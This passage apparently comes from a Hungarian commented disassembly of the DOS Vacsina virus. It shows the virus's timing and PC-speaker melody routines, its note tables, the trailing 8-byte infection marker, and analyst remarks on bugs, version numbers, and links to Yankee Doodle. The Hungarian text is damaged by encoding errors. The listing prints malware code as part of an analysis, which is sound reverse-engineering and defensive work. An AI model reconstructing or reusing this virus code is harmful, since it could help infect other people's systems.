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058C 2E CS: ;v<>g<EFBFBD>r<EFBFBD>l, ugyanis 80D=50H
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058D 8B879AFC MOV AX,[BX+FC9A] ;ERE_AX (0028) Megj.: Teljesen feles
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leges
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0591 E939FE JMP 03CD ;Ugr<67>s az eredeti program futtat<61>s<EFBFBD>ra
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;---------------------------------------------------------------
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; K<>sleltet<65>s
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;---------------------------------------------------------------
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; bx = k<>sleltet<65>s 0.01 mp-ben
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0594 50 * PUSH AX
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0595 53 PUSH BX
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0596 51 PUSH CX
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0597 52 PUSH DX
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0598 B42C MOV AH,2C ;GET_TIME (cx:dx)
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059A CD21 INT 21 ;<3B>ll<6C>t<EFBFBD>lag AL-ben a h<>t napj<70>t adja v
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issza !
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059C 8AE5 MOV AH,CH
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059E 02C1 ADD AL,CL
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05A0 02FE ADD BH,DH
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05A2 02DA ADD BL,DL ;Meddig kell zen<65>lni (id<69>pont)
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05A4 80FB64 CMP BL,64 ;100D sz<73>zadm<64>sodperc
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05A7 7205 JB 05AE ;OK
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05A9 80EB64 SUB BL,64 ;T<>lcsorg<72>sn<73>l
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05AC FEC7 INC BH
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05AE 80FF3C * CMP BH,3C ;60 mp
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05B1 7205 JB 05B8 ;OK
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05B3 80EF3C SUB BH,3C ;T<>lcsorg<72>sn<73>l
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05B6 FEC0 INC AL
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05B8 3C3C * CMP AL,3C ;60 perc
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05BA 7204 JB 05C0 ;OK
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05BC 2C3C SUB AL,3C ;T<>lcsorg<72>sn<73>l
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05BE FEC4 INC AH
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05C0 80FC18 * CMP AH,18 ;24 <20>ra
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05C3 7502 JNZ 05C7 ;Ok
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05C5 2AE4 SUB AH,AH ;T<>lcsorg<72>sn<73>l
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05C7 50 * PUSH AX ;Ciklus am<61>g el<65>rj<72>k a kijel<65>lt id<69>p
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ontot
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05C8 B42C MOV AH,2C
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05CA CD21 INT 21
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05CC 58 POP AX
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05CD 3BC8 CMP CX,AX
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05CF 7706 JA 05D7
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05D1 72F4 JB 05C7
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05D3 3BD3 CMP DX,BX
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05D5 72F0 JB 05C7
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05D7 5A * POP DX ;K<>sleltet<65>s v<>ge
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05D8 59 POP CX
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05D9 5B POP BX
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05DA 58 POP AX
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05DB C3 RET
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;---------------------------------------------------------------
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; Egy hang megsz<73>laltat<61>sa
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;---------------------------------------------------------------
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; di = hangmagass<73>g
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; bl = hanghossz
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; cl = 0
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; bh = 0
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05DC 50 * PUSH AX
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05DD 51 PUSH CX
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05DE 52 PUSH DX
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05DF 57 PUSH DI
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05E0 B0B6 MOV AL,B6 ;(10110110) 3. <20>zemm<6D>d, 2. csatorna, alacsonyabb-
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magasabb sorrend
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05E2 E643 OUT 43,AL ;Timer programoz<6F>sa
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05E4 BA1400 MOV DX,0014
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05E7 B88032 MOV AX,3280 ;dx:ax=1323648D
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05EA F7F7 DIV DI ;osztva a hangmagass<73>ggal
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05EC E642 OUT 42,AL ;Als<6C> byte
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05EE 8AC4 MOV AL,AH
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05F0 E642 OUT 42,AL ;Fels<6C> byte elk<6C>ld<6C>se
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05F2 E461 IN AL,61
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05F4 8AE0 MOV AH,AL
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05F6 0C03 OR AL,03 ;Timer enged<65>lyez<65>se, hangsz<73>r<EFBFBD> be
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05F8 E661 OUT 61,AL
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05FA 8AC1 MOV AL,CL ;cl=0
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05FC E895FF CALL 0594 ;K<>sleltet<65>s
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05FF 8AC4 MOV AL,AH
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0601 E661 OUT 61,AL ;Hangsz<73>r<EFBFBD> kikapcs.
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0603 5F POP DI
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0604 5A POP DX
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0605 59 POP CX
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0606 58 POP AX
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0607 C3 RET
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;---------------------------------------------------------------
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; A megadott dallam elj<6C>tsz<73>sa
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;---------------------------------------------------------------
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0608 8B3C * MOV DI,[SI]
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060A 83FFFF CMP DI,-01 ;V<>ge ?
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060D 7411 JZ 0620 ;-> ret
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060F 3E DS:
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0610 8A5E00 MOV BL,[BP+00] ;Hanghossz
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0613 2AC9 SUB CL,CL ;CL=0
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0615 2AFF SUB BH,BH ;BH=0
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0617 E8C2FF CALL 05DC ;Egy hang megsz<73>laltat<61>sa
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061A 83C602 ADD SI,+02 ;K<>vetkez<65> hang
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061D 45 INC BP
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061E 75E8 JNZ 0608
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0620 C3 * RET
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;---------------------------------------------------------------
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; Zen<65>l<EFBFBD> r<>sz ( INT 09 h<>vja )
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;---------------------------------------------------------------
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0621 BE2B06 * MOV SI,062B ;SI a "hangmagass<73>gok" t<>bl<62>zat<61>ra mu
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tat
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0624 BD9F06 MOV BP,069F ;BP a "hanghosszok" t<>bl<62>zat<61>ra mutat
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0627 E8DEFF CALL 0608
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062A C3 RET
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;---------------------------------------------------------------
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; Hangmagass<73>gok t<>bl<62>zata (062B-069E)
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;---------------------------------------------------------------
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062B 06 PUSH ES
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062C 01060125 ADD [2501],AX
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0630 014901 ADD [BX+DI+01],CX
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0633 06 PUSH ES
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0634 014901 ADD [BX+DI+01],CX
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0637 2501C4 AND AX,C401
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063A 00060106 ADD [0601],AL
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063E 0125 ADD [DI],SP
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0640 014901 ADD [BX+DI+01],CX
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0643 06 PUSH ES
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0644 01060106 ADD [0601],AX
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0648 01060125 ADD [2501],AX
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064C 014901 ADD [BX+DI+01],CX
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064F 5D POP BP
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0650 014901 ADD [BX+DI+01],CX
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0653 250106 AND AX,0601
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0656 01F6 ADD SI,SI
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0658 00C4 ADD AH,AL
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065A 00DC ADD AH,BL
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065C 00F6 ADD DH,DH
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065E 00060106 ADD [0601],AL
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0662 01DC ADD SP,BX
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0664 00F6 ADD DH,DH
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0666 00DC ADD AH,BL
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0668 00AE00DC ADD [BP+DC00],CH
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066C 00F6 ADD DH,DH
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066E 000601DC ADD [DC01],AL
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0672 00C4 ADD AH,AL
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0674 00DC ADD AH,BL
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0676 00C4 ADD AH,AL
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0678 00AE00A4 ADD [BP+A400],CH
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067C 00AE00C4 ADD [BP+C400],CH
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0680 00DC ADD AH,BL
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0682 00F6 ADD DH,DH
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0684 00DC ADD AH,BL
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0686 00AE00DC ADD [BP+DC00],CH
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068A 00F6 ADD DH,DH
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068C 000601DC ADD [DC01],AL
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0690 00C4 ADD AH,AL
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0692 000601F6 ADD [F601],AL
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0696 0025 ADD [DI],AH
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0698 01060106 ADD [0601],AX
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069C 01FF ADD DI,DI
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069E FF
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;---------------------------------------------------------------
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; Hanghosszok t<>bl<62>zata (069F-06D7)
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;---------------------------------------------------------------
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069F 19 CALL FAR [BX+DI]
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06A0 1919 SBB [BX+DI],BX
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06A2 1919 SBB [BX+DI],BX
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06A4 1919 SBB [BX+DI],BX
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06A6 1919 SBB [BX+DI],BX
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06A8 1919 SBB [BX+DI],BX
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06AA 1932 SBB [BP+SI],SI
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06AC 3219 XOR BL,[BX+DI]
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06AE 1919 SBB [BX+DI],BX
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06B0 1919 SBB [BX+DI],BX
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06B2 1919 SBB [BX+DI],BX
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06B4 1919 SBB [BX+DI],BX
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06B6 1919 SBB [BX+DI],BX
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06B8 1932 SBB [BP+SI],SI
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06BA 321A XOR BL,[BP+SI]
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06BC 191A SBB [BP+SI],BX
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06BE 1919 SBB [BX+DI],BX
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06C0 1919 SBB [BX+DI],BX
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06C2 191A SBB [BP+SI],BX
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06C4 191A SBB [BP+SI],BX
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06C6 1919 SBB [BX+DI],BX
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06C8 191E1A19 SBB [191A],BX
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06CC 1A19 SBB BL,[BX+DI]
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06CE 1919 SBB [BX+DI],BX
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06D0 191E1919 SBB [1919],BX
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06D4 1919 SBB [BX+DI],BX
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06D6 3232 XOR DH,[BP+SI]
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;---------------------------------------------------------------
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; Az utols<6C> 8 byte a v<>rus felismer<65>s<EFBFBD>t szolg<6C>lja
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;---------------------------------------------------------------
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06D8 ERE_HOSSZ DW ? ;A file eredeti hossza
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06DA ERE_2_3 DW ? ;Eredeti 2.,3. byte + 0103
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06DC AZONOSITO DW 7AF4 ;Ez alapj<70>n ismeri fel a fert<72>z<EFBFBD>st
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06DD VERZIO DB 18 ;Verzi<7A>sz<73>m
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06DF ERE_1 DB ? ;Eredeti els<6C> byte
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;Megj.: Ez az utols<6C> 8 byte mindegyik Vacsin<69>n<EFBFBD>l (s<>t a Yankee Doodlen<65>l is
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) <EFBFBD>gy n<EFBFBD>z ki,
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;kiv<69>tel a 9-es verzi<7A>n<EFBFBD>l kor<6F>bbiakat, ott ugyanis az eredeti els<6C> byteot n
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em kell menteni
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;( mivel csak JMP-pal kezd<7A>d<EFBFBD> fileokat fert<72>znek ).
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;--------------------------------------------------------------
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; File, v<>rus v<>ge
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;--------------------------------------------------------------
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Megjegyz<EFBFBD>sek:
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- A v<EFBFBD>rus "verzi<7A>sz<73>m<EFBFBD>nak" bevezet<EFBFBD>se <EFBFBD>nk<EFBFBD>nyes. Egy bizonyos verzi<EFBFBD> felett m<EFBFBD>r v
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al<EFBFBD>sz<EFBFBD>n<EFBFBD>leg csak a
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p<EFBFBD>ros sz<EFBFBD>mokat haszn<EFBFBD>lta az <EFBFBD>r<EFBFBD>, <EFBFBD>gy egy v<EFBFBD>rusnak (a VEZERLO-t<EFBFBD>l f<EFBFBD>gg<EFBFBD>en) k<EFBFBD>t
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verzi<EFBFBD>ja is lehet.
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Tal<EFBFBD>n a v<EFBFBD>rus ki<EFBFBD>rt<EFBFBD>s<EFBFBD>hoz haszn<EFBFBD>lhat<EFBFBD>.
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Pl: mov cl,2
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mov ax,C502 ;VEZERLO megv<67>ltoztat<61>sa
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int 21
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mov ds,file_nev_szegmense
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mov dx,offset file_nev
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mov ax,4B00
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int 21
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- A Yankee Doodle-b<EFBFBD>l kider<EFBFBD>l, hogy 34-esn<EFBFBD>l nagyobb verzi<EFBFBD>sz<EFBFBD>m m<EFBFBD>r Yankee Doodl
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e <EFBFBD>s nem Vacsina.
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Egy<EFBFBD>bk<EFBFBD>nt a k<EFBFBD>t v<EFBFBD>rusdinasztia ugyanaz, val<EFBFBD>sz<EFBFBD>n<EFBFBD>leg ugyanaz a szem<EFBFBD>ly <EFBFBD>rta.
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- A C5-<EFBFBD>s DOS alfunkci<EFBFBD>h<EFBFBD>v<EFBFBD>s miatt val<EFBFBD>sz<EFBFBD>n<EFBFBD>leg Novellben nem fut (az CF-fel, hi
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b<EFBFBD>val t<EFBFBD>r vissza
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<EFBFBD>gy a v<EFBFBD>rus m<EFBFBD>r azt hiszi, hogy bent van a mem<EFBFBD>ri<EFBFBD>ban).
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- A Yankee Doodleben van egy hiba a C603-as funkci<EFBFBD>n<EFBFBD>l.Ebben a v<EFBFBD>rusban ez m<EFBFBD>g v
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agy m<EFBFBD>r nincs benn.
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Nem tudom ez mit jelenthet.
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- A Peth<EFBFBD> k<EFBFBD>nyv szerint a 2C DOS funkci<EFBFBD> <EFBFBD>ll<EFBFBD>tja AL-t. A v<EFBFBD>rusk<EFBFBD>d pedig ezt nem
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figyeli! (059A-n<EFBFBD>l)
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- A v<EFBFBD>rus a DTA-t rossz helyre <EFBFBD>ll<EFBFBD>tja (ds:0050-re a ds:0080 helyett). Ez val<EFBFBD>sz
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<EFBFBD>n<EFBFBD>leg az<EFBFBD>rt van,
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mert az assembly list<EFBFBD>ban a 80 ut<EFBFBD>n lemaradt a 'H'.
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